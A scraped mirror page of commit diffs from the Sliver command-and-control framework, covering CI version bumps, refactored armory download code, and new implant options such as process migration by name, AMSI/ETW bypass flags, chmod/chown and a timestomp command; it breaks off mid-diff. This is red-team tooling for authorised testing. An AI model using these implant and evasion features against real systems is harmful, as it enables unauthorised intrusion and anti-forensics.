mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-08 01:38:17 -10:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
2378804681 | ||
|
|
af46878f85 | ||
|
|
47f10d0301 | ||
|
|
52daa1ac66 | ||
|
|
38a740aff2 | ||
|
|
4690430cec | ||
|
|
81acc47bdc | ||
|
|
d547708961 | ||
|
|
415c7ebd03 | ||
|
|
0510ef7242 | ||
|
|
27c6e8e8e4 | ||
|
|
64c40bad05 | ||
|
|
8368fe6b34 | ||
|
|
a468ec8239 | ||
|
|
40aa052696 | ||
|
|
c3e8a1a938 | ||
|
|
bacd3d6f13 | ||
|
|
b5e611d73b | ||
|
|
2f9c84c793 | ||
|
|
d921c3c56d | ||
|
|
8408296c0b | ||
|
|
b7206530f4 | ||
|
|
5b22e6dfc8 | ||
|
|
ad53f903c7 | ||
|
|
649960a3e9 | ||
|
|
7c33022408 | ||
|
|
7522a0b7de | ||
|
|
651587c324 | ||
|
|
fce0221bc7 | ||
|
|
8a9437c99a | ||
|
|
3599af150f | ||
|
|
d92aaa98e4 | ||
|
|
9e12db9ad2 | ||
|
|
c367c8c948 | ||
|
|
77ab598d59 | ||
|
|
c0a42c6b14 | ||
|
|
7479e86765 | ||
|
|
fd645e6c04 | ||
|
|
ef1c0341de | ||
|
|
1e6218f8fc | ||
|
|
c2abf668b6 | ||
|
|
8c06b83821 | ||
|
|
57ddb1a1bc | ||
|
|
0a43dc688f | ||
|
|
10d5f80f6b | ||
|
|
37efe1684b | ||
|
|
c2adb8187e | ||
|
|
7033be8408 | ||
|
|
497a4cc698 | ||
|
|
f792781d5d | ||
|
|
886c9884d0 | ||
|
|
f09efe9512 | ||
|
|
ee6decb64b | ||
|
|
929e67e295 | ||
|
|
03183aefd3 | ||
|
|
b7ba23c409 | ||
|
|
6c77808359 | ||
|
|
626d1ee5c9 | ||
|
|
689645d4f8 | ||
|
|
7fa1b5c824 | ||
|
|
0aabd71d9d | ||
|
|
5f4960bfb1 | ||
|
|
400c629dec | ||
|
|
85f51a8752 | ||
|
|
ec7e76fc2f | ||
|
|
04e8104ad9 | ||
|
|
d2aaee9882 | ||
|
|
54afc61d94 | ||
|
|
246519da59 | ||
|
|
bd575684d7 | ||
|
|
da4ee8ad51 | ||
|
|
e6645c91a3 | ||
|
|
7d95856858 | ||
|
|
2bfcaf14f3 | ||
|
|
6e0cbbcee3 | ||
|
|
feacb9e74b | ||
|
|
963b3c36da | ||
|
|
d344e357af | ||
|
|
a45c99651d | ||
|
|
0e5d055f37 | ||
|
|
88f5d55e92 | ||
|
|
03d93b95ba | ||
|
|
8fd94879a4 | ||
|
|
19b4b0b0c8 | ||
|
|
0e7a29db1b | ||
|
|
05a31d9d42 | ||
|
|
796a0dbde1 | ||
|
|
6aeab60d62 | ||
|
|
99c76c2da0 | ||
|
|
749f71d226 | ||
|
|
3d7227ea2f | ||
|
|
329730120d | ||
|
|
c6a29ea76a | ||
|
|
c40f59bc39 | ||
|
|
b0e0df1cb5 | ||
|
|
2ece520fdc | ||
|
|
01017460e8 | ||
|
|
f1613bbad9 | ||
|
|
657d21e2ea | ||
|
|
9f64ef1486 | ||
|
|
918d729dc5 | ||
|
|
c506020570 | ||
|
|
9d7d1b76fc | ||
|
|
3f5c434c26 | ||
|
|
aa8e01e365 | ||
|
|
8b84197d1a | ||
|
|
cdd2a33aec | ||
|
|
c6e65e6b69 | ||
|
|
8291364aad | ||
|
|
dff24ae31b | ||
|
|
a3ea33bcdb | ||
|
|
dcb1fc3cf3 | ||
|
|
3f721f2591 | ||
|
|
99914e4092 | ||
|
|
4068fafdb9 | ||
|
|
ccc6066b79 | ||
|
|
c53e617fec | ||
|
|
200a1a9942 | ||
|
|
564aeec91f | ||
|
|
115f47a7b4 | ||
|
|
bde3cd6e87 | ||
|
|
e6d9740410 | ||
|
|
6240be3a4b | ||
|
|
3a8017e7dd | ||
|
|
1f76a3f4f3 | ||
|
|
5ab52bca05 | ||
|
|
dfcbdf7e07 | ||
|
|
2dc1b69c92 | ||
|
|
69058fe492 | ||
|
|
9f811f8da0 | ||
|
|
9585b430a5 | ||
|
|
efaffb1999 | ||
|
|
2f1f81cc0f | ||
|
|
94d8b9fc8a | ||
|
|
1756fdfb62 | ||
|
|
12e6f9a73d | ||
|
|
b0a917ce41 | ||
|
|
e3a2ff81ab | ||
|
|
71f94928bf |
No files matched your search
@@ -13,9 +13,9 @@ jobs:
|
||||
timeout-minutes: 45
|
||||
steps:
|
||||
- name: Go 1.20
|
||||
uses: actions/setup-go@v3
|
||||
uses: actions/setup-go@v4
|
||||
with:
|
||||
go-version: "1.20.1"
|
||||
go-version: "1.20.2"
|
||||
|
||||
- name: OS Packages
|
||||
run: |
|
||||
@@ -63,9 +63,9 @@ jobs:
|
||||
timeout-minutes: 45
|
||||
steps:
|
||||
- name: Go 1.20
|
||||
uses: actions/setup-go@v3
|
||||
uses: actions/setup-go@v4
|
||||
with:
|
||||
go-version: "^1.20"
|
||||
go-version: "1.20.2"
|
||||
|
||||
- name: Mingw
|
||||
run: brew install mingw-w64
|
||||
|
||||
@@ -17,7 +17,7 @@ jobs:
|
||||
steps:
|
||||
# Setup go environment
|
||||
- name: Go 1.20
|
||||
uses: actions/setup-go@v3
|
||||
uses: actions/setup-go@v4
|
||||
with:
|
||||
go-version: "^1.20"
|
||||
|
||||
|
||||
@@ -16,9 +16,9 @@ jobs:
|
||||
timeout-minutes: 90
|
||||
steps:
|
||||
- name: Go 1.20
|
||||
uses: actions/setup-go@v3
|
||||
uses: actions/setup-go@v4
|
||||
with:
|
||||
go-version: "^1.20"
|
||||
go-version: "1.20.2"
|
||||
|
||||
- name: OS Packages
|
||||
run: |
|
||||
@@ -50,9 +50,9 @@ jobs:
|
||||
timeout-minutes: 90
|
||||
steps:
|
||||
- name: Go 1.20
|
||||
uses: actions/setup-go@v3
|
||||
uses: actions/setup-go@v4
|
||||
with:
|
||||
go-version: "^1.20"
|
||||
go-version: "1.20.2"
|
||||
|
||||
- name: Mingw
|
||||
run: brew install mingw-w64
|
||||
|
||||
+2
-4
@@ -1,4 +1,4 @@
|
||||
FROM golang:1.20.1
|
||||
FROM golang:1.20.4
|
||||
|
||||
#
|
||||
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
|
||||
@@ -53,9 +53,7 @@ RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@${PROTOC_GEN_GO_VER}
|
||||
# Go assets
|
||||
WORKDIR /go/src/github.com/bishopfox/sliver
|
||||
ADD . /go/src/github.com/bishopfox/sliver/
|
||||
RUN make clean-all \
|
||||
&& ./go-assets.sh
|
||||
|
||||
RUN make clean-all
|
||||
RUN make \
|
||||
&& cp -vv sliver-server /opt/sliver-server \
|
||||
&& /opt/sliver-server unpack --force
|
||||
|
||||
@@ -289,9 +289,17 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
// Groupping the two conditions together could crash the client since ctx.Flags.Type panics
|
||||
// if the flag is not registered.
|
||||
if aliasManifest.IsAssembly {
|
||||
if !ctx.Flags.Bool("in-process") {
|
||||
inProcess := ctx.Flags.Bool("in-process")
|
||||
runtime := ctx.Flags.String("runtime")
|
||||
amsiBypass := ctx.Flags.Bool("amsi-bypass")
|
||||
etwBypass := ctx.Flags.Bool("etw-bypass")
|
||||
if !inProcess {
|
||||
msgStr = " Arguments are limited to 256 characters when using the default fork/exec model for .NET assemblies.\nConsider using the --in-process flag to execute .NET assemblies in-process and work around this limitation.\n"
|
||||
}
|
||||
if !inProcess && (runtime != "" || etwBypass || amsiBypass) {
|
||||
con.PrintErrorf("The --runtime, --etw-bypass, and --amsi-bypass flags can only be used with the --in-process flag\n")
|
||||
return
|
||||
}
|
||||
} else if !aliasManifest.IsReflective {
|
||||
msgStr = " Arguments are limited to 256 characters when using the default fork/exec model for non-reflective PE payloads.\n"
|
||||
}
|
||||
|
||||
@@ -484,7 +484,7 @@ func fetchPackageSignature(wg *sync.WaitGroup, armoryConfig *assets.ArmoryConfig
|
||||
|
||||
var sig *minisign.Signature
|
||||
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
|
||||
sig, _, err = pkgParser(armoryPkg, true, clientConfig)
|
||||
sig, _, err = pkgParser(armoryConfig, armoryPkg, true, clientConfig)
|
||||
} else {
|
||||
sig, _, err = DefaultArmoryPkgParser(armoryConfig, armoryPkg, true, clientConfig)
|
||||
}
|
||||
|
||||
@@ -143,7 +143,7 @@ func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *
|
||||
var sig *minisign.Signature
|
||||
var tarGz []byte
|
||||
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
|
||||
sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
|
||||
sig, tarGz, err = pkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
|
||||
} else {
|
||||
sig, tarGz, err = DefaultArmoryPkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
|
||||
}
|
||||
@@ -261,7 +261,7 @@ func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, c
|
||||
var sig *minisign.Signature
|
||||
var tarGz []byte
|
||||
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
|
||||
sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
|
||||
sig, tarGz, err = pkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
|
||||
} else {
|
||||
sig, tarGz, err = DefaultArmoryPkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
|
||||
}
|
||||
|
||||
@@ -40,7 +40,7 @@ import (
|
||||
type ArmoryIndexParser func(*assets.ArmoryConfig, ArmoryHTTPConfig) (*ArmoryIndex, error)
|
||||
|
||||
// ArmoryPackageParser - Generic interface to fetch armory package manifests
|
||||
type ArmoryPackageParser func(*ArmoryPackage, bool, ArmoryHTTPConfig) (*minisign.Signature, []byte, error)
|
||||
type ArmoryPackageParser func(*assets.ArmoryConfig, *ArmoryPackage, bool, ArmoryHTTPConfig) (*minisign.Signature, []byte, error)
|
||||
|
||||
var (
|
||||
indexParsers = map[string]ArmoryIndexParser{
|
||||
@@ -79,28 +79,7 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
|
||||
return nil, err
|
||||
}
|
||||
|
||||
client := httpClient(clientConfig)
|
||||
repoURL, err := url.Parse(armoryConfig.RepoURL)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
req := &http.Request{
|
||||
Method: http.MethodGet,
|
||||
URL: repoURL,
|
||||
Header: map[string][]string{},
|
||||
}
|
||||
if armoryConfig.Authorization != "" {
|
||||
req.Header.Set("Authorization", armoryConfig.Authorization)
|
||||
}
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
body, err := ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
resp, body, err := httpRequest(clientConfig, armoryConfig.RepoURL, armoryConfig, http.Header{})
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return nil, errors.New("api returned non-200 status code")
|
||||
}
|
||||
@@ -125,9 +104,8 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
|
||||
return nil, errors.New("index has invalid signature")
|
||||
}
|
||||
|
||||
armoryIndex := &ArmoryIndex{ArmoryConfig: armoryConfig}
|
||||
if err != nil {
|
||||
return nil, err
|
||||
armoryIndex := &ArmoryIndex{
|
||||
ArmoryConfig: armoryConfig,
|
||||
}
|
||||
err = json.Unmarshal(armoryIndexData, armoryIndex)
|
||||
if err != nil {
|
||||
@@ -144,25 +122,7 @@ func DefaultArmoryPkgParser(armoryConfig *assets.ArmoryConfig, armoryPkg *Armory
|
||||
return nil, nil, err
|
||||
}
|
||||
|
||||
client := httpClient(clientConfig)
|
||||
repoURL, err := url.Parse(armoryConfig.RepoURL)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
req := &http.Request{
|
||||
Method: http.MethodGet,
|
||||
URL: repoURL,
|
||||
Header: map[string][]string{},
|
||||
}
|
||||
if armoryConfig.Authorization != "" {
|
||||
req.Header.Set("Authorization", armoryConfig.Authorization)
|
||||
}
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
body, err := ioutil.ReadAll(resp.Body)
|
||||
resp, body, err := httpRequest(clientConfig, armoryConfig.RepoURL, armoryConfig, http.Header{})
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
@@ -187,18 +147,10 @@ func DefaultArmoryPkgParser(armoryConfig *assets.ArmoryConfig, armoryPkg *Armory
|
||||
if tarGzURL.Scheme != "https" && tarGzURL.Scheme != "http" {
|
||||
return nil, nil, errors.New("invalid url scheme")
|
||||
}
|
||||
resp, err := client.Get(tarGzURL.String())
|
||||
tarGz, err = downloadRequest(clientConfig, tarGzURL.String(), armoryConfig)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
tarGz, err = ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return nil, nil, errors.New("api returned non-200 status code")
|
||||
}
|
||||
}
|
||||
return sig, tarGz, nil
|
||||
}
|
||||
@@ -239,13 +191,7 @@ func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig
|
||||
return nil, err
|
||||
}
|
||||
|
||||
client := httpClient(clientConfig)
|
||||
resp, err := client.Get(armoryConfig.RepoURL)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
body, err := ioutil.ReadAll(resp.Body)
|
||||
resp, body, err := httpRequest(clientConfig, armoryConfig.RepoURL, armoryConfig, http.Header{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -253,7 +199,7 @@ func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig
|
||||
if resp.StatusCode == http.StatusForbidden {
|
||||
return nil, errors.New("you hit the github api rate limit (60 req/hr), try later")
|
||||
}
|
||||
return nil, errors.New("api returned non-200 status code")
|
||||
return nil, fmt.Errorf("api returned non-200 status code: %d", resp.StatusCode)
|
||||
}
|
||||
|
||||
releases := []GithubRelease{}
|
||||
@@ -270,23 +216,13 @@ func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig
|
||||
var sigData []byte
|
||||
for _, asset := range release.Assets {
|
||||
if asset.Name == armoryIndexFileName {
|
||||
resp, err := client.Get(asset.BrowserDownloadURL)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
armoryIndexData, err = ioutil.ReadAll(resp.Body)
|
||||
armoryIndexData, err = downloadRequest(clientConfig, asset.URL, armoryConfig)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
if asset.Name == armoryIndexSigFileName {
|
||||
resp, err := client.Get(asset.BrowserDownloadURL)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
sigData, err = ioutil.ReadAll(resp.Body)
|
||||
sigData, err = downloadRequest(clientConfig, asset.URL, armoryConfig)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -299,7 +235,9 @@ func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig
|
||||
return nil, errors.New("invalid signature")
|
||||
}
|
||||
|
||||
armoryIndex := &ArmoryIndex{}
|
||||
armoryIndex := &ArmoryIndex{
|
||||
ArmoryConfig: armoryConfig,
|
||||
}
|
||||
err = json.Unmarshal(armoryIndexData, armoryIndex)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
@@ -308,20 +246,14 @@ func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig
|
||||
}
|
||||
|
||||
// GithubAPIArmoryPackageParser - Retrieve the minisig and tar.gz for an armory package from a GitHub release
|
||||
func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
|
||||
func GithubAPIArmoryPackageParser(armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
|
||||
var publicKey minisign.PublicKey
|
||||
err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey))
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
|
||||
client := httpClient(clientConfig)
|
||||
resp, err := client.Get(armoryPkg.RepoURL)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
body, err := ioutil.ReadAll(resp.Body)
|
||||
resp, body, err := httpRequest(clientConfig, armoryPkg.RepoURL, armoryConfig, http.Header{})
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
@@ -329,7 +261,7 @@ func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, client
|
||||
if resp.StatusCode == http.StatusForbidden {
|
||||
return nil, nil, errors.New("you hit the github api rate limit (60 req/hr), try later")
|
||||
}
|
||||
return nil, nil, errors.New("api returned non-200 status code")
|
||||
return nil, nil, fmt.Errorf("api returned non-200 status code: %d", resp.StatusCode)
|
||||
}
|
||||
|
||||
releases := []GithubRelease{}
|
||||
@@ -343,14 +275,7 @@ func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, client
|
||||
var tarGz []byte
|
||||
for _, asset := range release.Assets {
|
||||
if asset.Name == fmt.Sprintf("%s.minisig", armoryPkg.CommandName) {
|
||||
var resp *http.Response
|
||||
resp, err = client.Get(asset.BrowserDownloadURL)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
var body []byte
|
||||
body, err = ioutil.ReadAll(resp.Body)
|
||||
body, err := downloadRequest(clientConfig, asset.URL, armoryConfig)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
@@ -360,13 +285,7 @@ func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, client
|
||||
}
|
||||
}
|
||||
if asset.Name == fmt.Sprintf("%s.tar.gz", armoryPkg.CommandName) && !sigOnly {
|
||||
var resp *http.Response
|
||||
resp, err = client.Get(asset.BrowserDownloadURL)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
tarGz, err = ioutil.ReadAll(resp.Body)
|
||||
tarGz, err = downloadRequest(clientConfig, asset.URL, armoryConfig)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
@@ -380,31 +299,27 @@ func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, client
|
||||
//
|
||||
|
||||
// GithubArmoryPackageParser - Uses github.com instead of api.github.com to download packages
|
||||
func GithubArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
|
||||
func GithubArmoryPackageParser(_ *assets.ArmoryConfig, armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
|
||||
latestTag, err := githubLatestTagParser(armoryPkg, clientConfig)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
client := httpClient(clientConfig)
|
||||
|
||||
sigURL, err := url.Parse(armoryPkg.RepoURL)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
sigURL.Path = path.Join(sigURL.Path, "releases", "download", latestTag, fmt.Sprintf("%s.minisig", armoryPkg.CommandName))
|
||||
sigResp, err := client.Get(sigURL.String())
|
||||
|
||||
// Setup dummy auth here as the non-api endpoints don't support the Authorization header
|
||||
noAuth := &assets.ArmoryConfig{
|
||||
Authorization: "",
|
||||
}
|
||||
body, err := downloadRequest(clientConfig, sigURL.String(), noAuth)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
defer sigResp.Body.Close()
|
||||
if sigResp.StatusCode != http.StatusOK {
|
||||
return nil, nil, fmt.Errorf("failed to get signature for armory pkg '%s': %s", armoryPkg.RepoURL, sigResp.Status)
|
||||
}
|
||||
var body []byte
|
||||
body, err = ioutil.ReadAll(sigResp.Body)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("failed to read resp body '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
|
||||
sig, err := parsePkgMinsig(body)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("failed to parse pkg sig '%s': %s", armoryPkg.RepoURL, err)
|
||||
@@ -417,18 +332,10 @@ func GithubArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientCon
|
||||
return nil, nil, fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
tarGzURL.Path = path.Join(tarGzURL.Path, "releases", "download", latestTag, fmt.Sprintf("%s.tar.gz", armoryPkg.CommandName))
|
||||
tarGzResp, err := client.Get(tarGzURL.String())
|
||||
tarGz, err = downloadRequest(clientConfig, tarGzURL.String(), noAuth)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
defer tarGzResp.Body.Close()
|
||||
if tarGzResp.StatusCode != http.StatusOK {
|
||||
return nil, nil, fmt.Errorf("failed to get tar.gz for armory pkg '%s': %s", armoryPkg.RepoURL, tarGzResp.Status)
|
||||
}
|
||||
tarGz, err = ioutil.ReadAll(tarGzResp.Body)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("failed to read tar.gz body '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
}
|
||||
|
||||
return sig, tarGz, nil
|
||||
@@ -498,3 +405,40 @@ func httpClient(config ArmoryHTTPConfig) *http.Client {
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
func httpRequest(clientConfig ArmoryHTTPConfig, reqURL string, armoryConfig *assets.ArmoryConfig, extraHeaders http.Header) (*http.Response, []byte, error) {
|
||||
client := httpClient(clientConfig)
|
||||
req, err := http.NewRequest(http.MethodGet, reqURL, http.NoBody)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
|
||||
if len(extraHeaders) > 0 {
|
||||
for key := range extraHeaders {
|
||||
req.Header.Add(key, strings.Join(extraHeaders[key], ","))
|
||||
}
|
||||
}
|
||||
if armoryConfig.Authorization != "" {
|
||||
req.Header.Set("Authorization", armoryConfig.Authorization)
|
||||
}
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
body, err := ioutil.ReadAll(resp.Body)
|
||||
return resp, body, err
|
||||
}
|
||||
|
||||
func downloadRequest(clientConfig ArmoryHTTPConfig, reqURL string, armoryConfig *assets.ArmoryConfig) ([]byte, error) {
|
||||
downloadHdr := http.Header{
|
||||
"Accept": {"application/octet-stream"},
|
||||
}
|
||||
resp, body, err := httpRequest(clientConfig, reqURL, armoryConfig, downloadHdr)
|
||||
if resp.StatusCode != http.StatusOK && resp.StatusCode != http.StatusFound {
|
||||
return nil, fmt.Errorf("Error downloading asset: http %d", resp.StatusCode)
|
||||
}
|
||||
|
||||
return body, err
|
||||
}
|
||||
@@ -129,6 +129,7 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
|
||||
"ID",
|
||||
"Name",
|
||||
"Transport",
|
||||
"Hostname",
|
||||
"Username",
|
||||
"Operating System",
|
||||
"Last Check-in",
|
||||
@@ -165,6 +166,7 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
|
||||
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
|
||||
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
|
||||
con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
|
||||
|
||||
@@ -109,7 +109,7 @@ func GetBeacon(con *console.SliverConsoleClient, beaconID string) (*clientpb.Bea
|
||||
return nil, ErrNoBeacons
|
||||
}
|
||||
for _, beacon := range beacons.Beacons {
|
||||
if beacon.ID == beaconID {
|
||||
if beacon.ID == beaconID || strings.HasPrefix(beacon.ID, beaconID) {
|
||||
return beacon, nil
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1205,12 +1205,10 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.Uint("pid", "pid")
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Bool("S", "disable-sgn", true, "disable shikata ga nai shellcode encoder")
|
||||
|
||||
f.Uint("p", "pid", 0, "process id to migrate into")
|
||||
f.String("n", "process-name", "", "name of the process to migrate into")
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
HelpGroup: consts.SliverWinHelpGroup,
|
||||
@@ -1324,6 +1322,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("a", "arch", "amd64", "cpu architecture")
|
||||
f.String("N", "name", "", "agent name")
|
||||
f.Bool("d", "debug", false, "enable debug features")
|
||||
f.String("O", "debug-file", "", "path to debug output")
|
||||
f.Bool("e", "evasion", false, "enable evasion features (e.g. overwrite user space hooks)")
|
||||
f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
|
||||
f.String("I", "template", "sliver", "implant code template")
|
||||
@@ -1385,6 +1384,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("a", "arch", "amd64", "cpu architecture")
|
||||
f.String("N", "name", "", "agent name")
|
||||
f.Bool("d", "debug", false, "enable debug features")
|
||||
f.String("O", "debug-file", "", "path to debug output")
|
||||
f.Bool("e", "evasion", false, "enable evasion features (e.g. overwrite user space hooks)")
|
||||
f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
|
||||
f.String("I", "template", "sliver", "implant code template")
|
||||
@@ -1541,6 +1541,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("a", "arch", "amd64", "cpu architecture")
|
||||
|
||||
f.Bool("d", "debug", false, "enable debug features")
|
||||
f.String("O", "debug-file", "", "path to debug output")
|
||||
f.Bool("e", "evasion", false, "enable evasion features")
|
||||
f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
|
||||
f.Bool("G", "disable-sgn", false, "disable shikata ga nai shellcode encoder")
|
||||
@@ -1609,6 +1610,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("a", "arch", "amd64", "cpu architecture")
|
||||
|
||||
f.Bool("d", "debug", false, "enable debug features")
|
||||
f.String("O", "debug-file", "", "path to debug output")
|
||||
f.Bool("e", "evasion", false, "enable evasion features")
|
||||
f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
|
||||
|
||||
@@ -2143,6 +2145,70 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
},
|
||||
})
|
||||
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
Name: consts.ChmodStr,
|
||||
Help: "Change permissions on a file or directory",
|
||||
LongHelp: help.GetHelpFor([]string{consts.ChmodStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Bool("r", "recursive", false, "recursively change permissions on files")
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("path", "path to the file to remove")
|
||||
a.String("mode", "file permissions in octal, e.g. 0644")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
filesystem.ChmodCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
})
|
||||
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
Name: consts.ChownStr,
|
||||
Help: "Change owner on a file or directory",
|
||||
LongHelp: help.GetHelpFor([]string{consts.ChownStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Bool("r", "recursive", false, "recursively change permissions on files")
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("path", "path to the file to remove")
|
||||
a.String("uid", "User, e.g. root")
|
||||
a.String("gid", "Group, e.g. root")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
filesystem.ChownCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
})
|
||||
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
Name: consts.ChtimesStr,
|
||||
Help: "Change access and modification times on a file (timestomp)",
|
||||
LongHelp: help.GetHelpFor([]string{consts.ChtimesStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
